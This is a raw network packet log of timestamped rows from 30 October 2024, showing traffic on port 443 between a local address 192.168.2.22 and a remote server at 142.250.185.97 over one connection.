Oct 30, 2024 07:53:23.204657078 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.205646038 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.205689907 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.205697060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.206657887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.206742048 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.206749916 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.208030939 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.208107948 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.208115101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.209249020 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.209280968 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.209304094 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.210254908 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.210280895 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.210341930 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.210350037 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.212392092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.214392900 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.214402914 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.215621948 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.216067076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.216073990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.216634035 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.216694117 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.216700077 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.218622923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.219072104 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.219078064 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.221096039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.221124887 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.221590996 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.221597910 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.221653938 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.222351074 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.224251032 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.224304914 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.224309921 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.227237940 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.227288961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.227310896 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.227324009 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.227781057 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.228174925 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.230016947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.230046034 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.230093002 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.230099916 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.230227947 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.231817961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.231892109 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.232100964 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.232105970 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.233707905 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.233782053 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.233787060 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.235440016 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.235620975 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.235626936 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.237288952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.237426043 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.237431049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.239352942 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.239397049 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.239484072 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.239490032 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.240843058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.240917921 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.240923882 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.243515968 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.243571997 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.243577957 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.244450092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.244522095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.244528055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.246015072 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.246088028 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.246093035 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.247813940 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.247874975 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.247879982 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.249509096 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.249568939 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.249573946 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.251152992 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.251182079 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.251285076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.251291990 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.251878977 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.252892971 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.254493952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.254523039 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.254628897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.254657984 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.254756927 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.256133080 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.256206989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.256383896 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.256391048 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.258063078 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.258136988 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.258142948 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.259529114 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.259628057 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.259634018 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.260943890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.261038065 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.261044025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.262490034 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.262535095 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.262540102 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.264050007 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.264503002 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.264508963 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.265635014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.266196012 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.266201973 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.267117023 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.267638922 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.267644882 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.268493891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.268523932 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.268600941 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.268605947 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.270009995 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.270137072 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.270142078 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.271253109 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.271321058 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.271359921 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.271367073 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.271502972 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.272764921 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.274158001 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.274203062 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.274296999 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.274303913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.275634050 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.276158094 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.276164055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.277175903 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.277254105 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.277260065 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.278537989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.278820992 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.278826952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.279881954 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.279958010 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.279963017 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.281246901 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.281328917 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.281335115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.283968925 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.284003973 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.284013033 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.284018993 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.284068108 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.284070969 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.284080982 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.284115076 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.284120083 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.285295963 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.285437107 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.285442114 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.286603928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.287244081 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.287250042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.287820101 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.288264990 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.288270950 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.289113045 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.289170980 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.289182901 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.290429115 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.291809082 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.291836977 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.291866064 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.291872978 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.293026924 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.293072939 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.293078899 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.294318914 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.294373035 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.294378042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296669006 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296720982 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296751022 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296773911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.296778917 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296809912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.296858072 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.296864033 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.297971964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.298024893 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.298031092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.299113989 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.300353050 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.300381899 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.300419092 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.300426960 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.301373005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.301529884 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.302675962 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.302722931 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.302727938 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305593014 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305635929 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305645943 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.305650949 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305685997 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305692911 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.305699110 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.305746078 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.306361914 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.307394981 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.307462931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.307507038 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.307512999 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.308491945 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.308792114 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.308796883 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.308892965 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.309082985 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.309443951 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.309616089 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.309642076 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.309684992 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.309690952 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.310733080 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.311824083 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.311853886 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.311872005 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.311878920 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.311922073 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.312926054 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.314004898 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.314033031 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.314078093 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.314085007 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.315154076 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.316288948 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.316318035 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.316349030 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.316356897 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.317322016 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.317374945 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.317382097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.318449974 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.318502903 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.318509102 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.318573952 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.319497108 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.320509911 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.320561886 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.320568085 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.320574045 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.320612907 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.321486950 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.321542025 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.321587086 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.321593046 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.322660923 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.322799921 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.322804928 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.323610067 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.323956966 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.323962927 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.325095892 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.325125933 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.325145006 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.325151920 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.325191975 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.327163935 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.327797890 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.328277111 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.328285933 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.329503059 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.330131054 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.330137968 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.332710981 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.333575964 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.333604097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.333640099 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.333646059 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.334358931 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.335521936 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.336515903 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.336572886 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.336577892 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.338129044 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.338172913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.338219881 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.338226080 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.340215921 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.340244055 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.340277910 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.340287924 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.341420889 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.341485977 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.341492891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.344228029 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.345046997 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.345103979 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.345109940 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.347026110 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.347055912 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.347110987 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.347115040 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.348874092 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.348925114 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.348929882 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.350636005 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.352389097 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.352428913 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.352449894 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.352454901 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.353329897 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.353482008 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.354162931 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.354305983 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.354402065 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.354404926 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.356261015 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.356304884 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.356309891 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.357883930 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.357938051 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.357942104 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.359827042 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.359895945 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.359899998 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.360562086 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.361378908 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.361382961 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.361470938 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.361509085 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.361512899 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.363046885 CET	443	49172	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:23.363121033 CET	49172	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:23.363125086 CET	443	49172	142.250.185.97	192.168.2.22
